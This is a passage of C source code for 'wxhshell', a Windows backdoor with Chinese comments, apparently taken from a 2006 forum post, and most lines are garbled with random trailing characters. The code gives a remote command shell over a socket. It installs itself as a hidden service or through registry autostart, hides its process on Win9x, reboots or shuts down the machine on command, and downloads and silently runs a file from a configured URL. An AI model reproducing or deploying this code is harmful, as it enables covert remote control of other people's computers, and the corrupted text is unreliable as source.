    switch(cmd[0]) { ~ ^K[pA ?  
  GR"Jk[W9  
  // 帮助 !nTq"d%(W  
  case '?': { ~($h9* \  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6`4=!ZfI  
    break; j}y"  
  } smSUo /  
  // 安装 )#1@@\< ^T  
  case 'i': { }%%| '8  
    if(Install()) lOVsp#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (mv8_~F0  
    else Z yIn>]{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lO:[^l?F  
    break; / JlUqC  
    } F77~156  
  // 卸载 <h(tW  
  case 'r': { (|S e+Y#e,  
    if(Uninstall()) g4Tc (k#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +YP,LDJ!v  
    else N O'-HKHj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~x Q l  
    break; ,<%],-Lt[  
    } O<fbO7.-  
  // 显示 wxhshell 所在路径 9'}m797I'  
  case 'p': { q$K^E  
    char svExeFile[MAX_PATH]; PQ1\b-I  
    strcpy(svExeFile,"\n\r"); xK /NzVt  
      strcat(svExeFile,ExeFile); D{ c`H}/`  
        send(wsh,svExeFile,strlen(svExeFile),0); ibEQ52  
    break; lrK5q  
    } ^"l4   
  // 重启  I"r*p?  
  case 'b': { uA,K}sNRZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ONkRxr@!  
    if(Boot(REBOOT)) &ceZu=*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qd$d*mwg:  
    else { PX+$Us  
    closesocket(wsh); tlc&Wx  
    ExitThread(0); !tN]OQ)'  
    } |XPT2eQ{  
    break; QH;1*  
    } ?!b}Ir<1j  
  // 关机 UL(#B TK  
  case 'd': { $6R<)]6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |NL$? %I  
    if(Boot(SHUTDOWN)) XBCz\f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQA89 :j,  
    else { xCGvLvFn  
    closesocket(wsh); k}~|jLu@g  
    ExitThread(0); f~9ADb  
    } 7R ;!  
    break; Wo\NX05-?  
    } (C1]R41'  
  // 获取shell D[ny%9 :  
  case 's': { 5ZUqCl(PX)  
    CmdShell(wsh); 8 "|')f#  
    closesocket(wsh); dnH?@ K  
    ExitThread(0); .Q4EmpByCg  
    break; yo3'\I  
  } FK0nQ{uB"  
  // 退出 RaKL KZn  
  case 'x': { ob-y {x,R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YaDr6)  
    CloseIt(wsh); Sky!ZN'I  
    break; Xrc0RWXB8  
    } 7\<#z|  
  // 离开 xrp%b1Sy  
  case 'q': { Vf,t=$.[Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~#N^@a  
    closesocket(wsh); xrS;06$  
    WSACleanup(); ~}(}:#>T  
    exit(1); M{Wla 7  
    break; nTyK Z(#u  
        } Ub%5# <k|-  
  } yS %J$o&  
  } wYPJji D  
O$<kWSC  
  // 提示信息 ZF>zzi+@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b1R%JY7/S  
} 6l<q  
  } X*/j na"*  
ZU5hHah.t  
  return; 7jvf:#\LtL  
} }]'Z~5T  
Quqts(Q)+  
// shell模块句柄 C5$1K'X@  
int CmdShell(SOCKET sock) =;4cDmZh  
{ \IQf|  
STARTUPINFO si; T32C=7  
ZeroMemory(&si,sizeof(si)); $b QD{ {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N[~ RWg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )\8l6Gw  
PROCESS_INFORMATION ProcessInfo; /z.Y<xOc  
char cmdline[]="cmd"; bODCC5yL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [8v v[n/  
  return 0; !X*+Ct^  
} Vr+X!DeY  
l q~^&\_#  
// 自身启动模式 [2"a~o\  
int StartFromService(void) 7o-umZ}8  
{ pHXslmrD  
typedef struct BRLrD/8Le  
{ sB"Oi|#lk  
  DWORD ExitStatus; 7jQOwzj  
  DWORD PebBaseAddress; *VG#SK  
  DWORD AffinityMask; 40w,:$  
  DWORD BasePriority; N7v7b<6  
  ULONG UniqueProcessId; Tu"bbc  
  ULONG InheritedFromUniqueProcessId; bH%k)  
}   PROCESS_BASIC_INFORMATION; b3N1SC:Wn  
SxI='z_S.f  
PROCNTQSIP NtQueryInformationProcess; _Ryt|# y  
c |.~f+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -~n^?0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *<c, x8\s9  
&`Oj<UyJY  
  HANDLE             hProcess; 0JN>w^  
  PROCESS_BASIC_INFORMATION pbi; G>& Tap>  
9)9p<(b $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hd^?mZ  
  if(NULL == hInst ) return 0; q$L=G  
>x]b"@Hkw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CoO..  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gi\2bzWkbX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :m#[V7  
c>!zJA B  
  if (!NtQueryInformationProcess) return 0; *-'u(o  
@~,&E*X! .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1zqIB")s>  
  if(!hProcess) return 0; +m8CN(c  
E!nEB(FD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z~fZg6  
4 ;ybQ  
  CloseHandle(hProcess); AqnDsr!  
)WuU?Tn&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6Lj=%&  
if(hProcess==NULL) return 0; \]uD"Jqv#  
#}Y$+FtO  
HMODULE hMod; HqC 1Dkw  
char procName[255]; BPs|qb-  
unsigned long cbNeeded; jGy%O3/  
R-QSv$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V{4=, Ax  
I8~ .Vu2  
  CloseHandle(hProcess); cetHpU ,  
UVa:~c$U4  
if(strstr(procName,"services")) return 1; // 以服务启动 H2[VZ&Pg  
7~&  
  return 0; // 注册表启动 r*_z<^d  
} Bp&7:snGt  
IC"lsNq52  
// 主模块 r:;nv D  
int StartWxhshell(LPSTR lpCmdLine) 2MY-9(no  
{ iXLODuI  
  SOCKET wsl; kd55y  
BOOL val=TRUE; qV]p\/a.  
  int port=0; E0HXB1"  
  struct sockaddr_in door; 0i/!by {@  
Ad7N '1O  
  if(wscfg.ws_autoins) Install(); A.-j 5C4  
|y%pJdPk=  
port=atoi(lpCmdLine); 4f~ c# 0?  
/Q]6"nY  
if(port<=0) port=wscfg.ws_port; }OZut!_  
l/*NscYtQ  
  WSADATA data; 6="Qwrk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J)o.@+Q}  
c?(;6$A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    #dO8) t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); skaPC#u  
  door.sin_family = AF_INET; k|uW~ I)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 80m<OW1  
  door.sin_port = htons(port); ;[nomxu|?  
 vNWCv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M$J{clr  
closesocket(wsl); +>bm~6  
return 1; Y["aw&;#O\  
} 0c}pg:XT  
n1XJ uc~  
  if(listen(wsl,2) == INVALID_SOCKET) { mH`K~8pRg  
closesocket(wsl); l7T@<V  
return 1; j(xVbUa  
} ,i]X^z5!  
  Wxhshell(wsl); I}^Q u0ub  
  WSACleanup(); r,cz yE/  
` |uwR5  
return 0; etw.l~y   
K%jh 6c8  
} vM3 b\yp  
OkNBP 0e}  
// 以NT服务方式启动 78~;j1^6u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J^w!?nk  
{ X mb001  
DWORD   status = 0; s2f6;Yc  
  DWORD   specificError = 0xfffffff; <Pn]{N  
LC>bZ!(i#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -tPia=^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p[LPi5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V Zz>)Kz:  
  serviceStatus.dwWin32ExitCode     = 0; @"h @4q/W  
  serviceStatus.dwServiceSpecificExitCode = 0; !=)b2}e/>  
  serviceStatus.dwCheckPoint       = 0; [[XbKg`"?  
  serviceStatus.dwWaitHint       = 0; h/goV  
`/"*_AKAI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 57|RE5]|!  
  if (hServiceStatusHandle==0) return; 1ze\ U>  
@LyCP4   
status = GetLastError(); BT*z^Z H  
  if (status!=NO_ERROR) #jqcUno  
{ &"gQrBa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B0+r  
    serviceStatus.dwCheckPoint       = 0; Z>l%:;H  
    serviceStatus.dwWaitHint       = 0; pLiGky  
    serviceStatus.dwWin32ExitCode     = status; 8pXului  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9cqq"-$G`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wH0m^?a!3  
    return; $-w&<U$E  
  } "7z1V{ ;Y  
/_(q7:<ZF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e)M)q!nG  
  serviceStatus.dwCheckPoint       = 0; alp}p  
  serviceStatus.dwWaitHint       = 0; mVsghDESJ)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` W} Bc  
} OF1fS\P<>  
af-  
// 处理NT服务事件,比如:启动、停止 a(#aEbN?d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x=I|O;"><  
{ 5 (cgHr"  
switch(fdwControl) 5>x?2rp  
{ a%YohfsY?U  
case SERVICE_CONTROL_STOP: lKSd]:3Xm  
  serviceStatus.dwWin32ExitCode = 0; S_ER^Pkg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }K.2  
  serviceStatus.dwCheckPoint   = 0; o"gtWAGH  
  serviceStatus.dwWaitHint     = 0; Dg=!d)\  
  { u*6Y>_iA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UFl+|wf  
  } c'}dsq\  
  return; dd-`/A@  
case SERVICE_CONTROL_PAUSE: !Y,*Zc$R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hk.vBbhs  
  break; o;"Phc.  
case SERVICE_CONTROL_CONTINUE: PdD,~N#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uGz>AW8a3  
  break; vuoD~=z  
case SERVICE_CONTROL_INTERROGATE: .|g|X8X  
  break; s&)>gE\  
}; i_{b *o_an  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j3Ps<<eA  
} [bh8Nj\E  
/^\UB fE  
// 标准应用程序主函数 U9t-(`[j?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I&JjyR  
{ &UxI62[k  
mmvo >F"  
// 获取操作系统版本 ,!>1A;~wT  
OsIsNt=GetOsVer(); ;) XB'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hs`j6yuc9  
/'QfLW>6  
  // 从命令行安装 MO%kUq|pg  
  if(strpbrk(lpCmdLine,"iI")) Install(); 231,v,X[  
vp4NH]fJ  
  // 下载执行文件 ^~DDl$NH  
if(wscfg.ws_downexe) { #`o]{UfW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I3hN7  
  WinExec(wscfg.ws_filenam,SW_HIDE); cVf}8qf)  
} n\w2e_g;N  
YwaWhBCIF  
if(!OsIsNt) { hM "6-60  
// 如果时win9x,隐藏进程并且设置为注册表启动 AI,Jy%62/  
HideProc(); zI{~;`tzN  
StartWxhshell(lpCmdLine); [4 y7tjar^  
} $2/v8  
else ]L/AW  
  if(StartFromService()) krMO<(x+  
  // 以服务方式启动 Ba#wW E  
  StartServiceCtrlDispatcher(DispatchTable); chakp!S=  
else k];NTALOG  
  // 普通方式启动 )cV*cDL1j  
  StartWxhshell(lpCmdLine); sLze/D_M*  
kCHYLv3.  
return 0; ?F" mZu  
}
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只看该作者 1 发表于: 2006-10-10
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